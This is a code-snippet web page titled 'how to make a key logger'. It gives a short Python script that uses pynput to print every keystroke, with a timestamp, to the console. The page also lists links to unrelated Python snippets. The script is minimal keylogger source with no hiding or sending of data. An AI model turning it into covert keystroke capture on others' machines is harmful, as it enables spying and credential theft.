Search
 
SCRIPT & CODE EXAMPLE
 

PYTHON

how to make a key logger

from pynput.keyboard import Listener
from datetime import datetime

def on_press(key):
    key = str(key).replace("Key.", "").replace("'", "")

    if len(key) > 1:
        key = key.upper()

    print (datetime.now().strftime("%Y-%m-%d %H:%M:%S") + " " + key)

with Listener(on_press=on_press) as listener:
    listener.join()
Comment

PREVIOUS NEXT
Code Example
Python :: is in array python 
Python :: append a dataframe to an empty dataframe 
Python :: python slice list 
Python :: django create super user 
Python :: #pip install commands 
Python :: lambda in python 
Python :: seaborn distribution plot for all columns 
Python :: has no attribute python 
Python :: google assistant in windows 10 
Python :: how to make a timer using python 
Python :: shuffle text lines python 
Python :: sort a dictionary by value then key 
Python :: python tutorial pdf 
Python :: online python compiler 
Python :: python list index() 
Python :: VALUE ERROR EXCEPTION 
Python :: while True: 
Python :: python empty dataframe 
Python :: list to dictionary 
Python :: python IndexError: list assignment index out of range 
Python :: import python file from another directory 
Python :: elementwise comparison list python 
Python :: session in django 
Python :: blur an image in python 
Python :: empty array python 
Python :: how to generate list in python 
Python :: change time format pm am in python 
Python :: pandas filter column greater than 
Python :: upload_file boto3 headers 
Python :: run python script inside bash script 
ADD CONTENT
Topic
Content
Source link
Name
8+8 =